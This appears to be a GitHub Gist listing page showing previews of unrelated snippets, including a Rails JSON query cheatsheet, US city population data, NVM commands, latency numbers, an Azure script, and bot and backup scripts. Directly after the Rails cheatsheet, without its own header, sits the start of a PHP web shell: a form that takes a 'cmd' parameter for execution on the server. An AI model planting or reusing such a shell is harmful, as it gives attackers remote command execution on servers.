Skip to content

Instantly share code, notes, and snippets.

@mabenson00
mabenson00 / cheatsheet.rb
Last active May 20, 2024 17:45
Rails ActiveRecord JSON cheatsheet
# Basic key operators to query the JSON objects :
# #> : Get the JSON object at that path (if you need to do something fancy)
# -> : Get the JSON object at that path (if you don't)
# ->> : Get the JSON object at that path as text
# {obj, n} : Get the nth item in that object
# https://www.postgresql.org/docs/9.4/functions-json.html#FUNCTIONS-JSONB-OP-TABLE
# Date
# date before today
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@Miserlou
Miserlou / gist:11500b2345d3fe850c92
Created April 27, 2015 21:20
1000 Largest US Cities By Population
Largest 1000 Cities in America
2013 popuation data - Biggest US Cities By Population
rank,city,state,population,2000-2013 growth
1,New York,New York,8405837,4.8%
2,Los Angeles,California,3884307,4.8%
3,Chicago,Illinois,2718782,-6.1%
4,Houston,Texas,2195914,11.0%
5,Philadelphia,Pennsylvania,1553165,2.6%
@chranderson
chranderson / nvmCommands.js
Last active May 20, 2024 17:41
Useful NVM commands
// check version
node -v || node --version
// list locally installed versions of node
nvm ls
// list remove available versions of node
nvm ls-remote
// install specific version of node
@jboner
jboner / latency.txt
Last active May 20, 2024 17:41
Latency Numbers Every Programmer Should Know
Latency Comparison Numbers (~2012)
----------------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
@jpbruckler
jpbruckler / AutomateDCRAssignment.ps1
Created May 14, 2024 12:48
Assigns Data Collection Rules to Windows Servers
<#
.SYNOPSIS
Assigns Data Collection Rules to Azure VMs and Azure Arc servers.
.DESCRIPTION
This script connects to Azure, retrieves all Windows Azure VMs and Azure Arc
servers from specified subscriptions, and applies Data Collection Rules to
them. It is intended to streamline the setup of monitoring across both Azure
VM and Azure Arc environments by automating the association of DCRs.
@gboudreau
gboudreau / AuthyToOtherAuthenticator.md
Last active May 20, 2024 17:39 — forked from Ingramz/AuthyToOtherAuthenticator.md
Export TOTP tokens from Authy
@instantdreams
instantdreams / npm_backup.sh
Created January 6, 2022 23:44
Backup entire NPM configuration to a set location
#!/bin/bash
# Script location : /srv/bin/npm_backup.sh
# npm_home : Location of nginx-proxy-manager installation
# backup_target : Folder name for backup
npm_home=/srv/nginx-proxy-manager
backup_target=/media/Backups/nginx-proxy-manager
# Import protected variables
source /srv/bin/.env
# Create Backup
@hellerbarde
hellerbarde / latency.markdown
Created May 31, 2012 13:16 — forked from jboner/latency.txt
Latency numbers every programmer should know

Latency numbers every programmer should know

L1 cache reference ......................... 0.5 ns
Branch mispredict ............................ 5 ns
L2 cache reference ........................... 7 ns
Mutex lock/unlock ........................... 25 ns
Main memory reference ...................... 100 ns             
Compress 1K bytes with Zippy ............. 3,000 ns  =   3 µs
Send 2K bytes over 1 Gbps network ....... 20,000 ns  =  20 µs
SSD random read ........................ 150,000 ns  = 150 µs

Read 1 MB sequentially from memory ..... 250,000 ns = 250 µs

@dideler
dideler / bot.rb
Last active May 20, 2024 17:36
Sending a notification message to Telegram using its HTTP API via cURL
# Use this script to test that your Telegram bot works.
#
# Install the dependency
#
# $ gem install telegram_bot
#
# Run the bot
#
# $ ruby bot.rb
#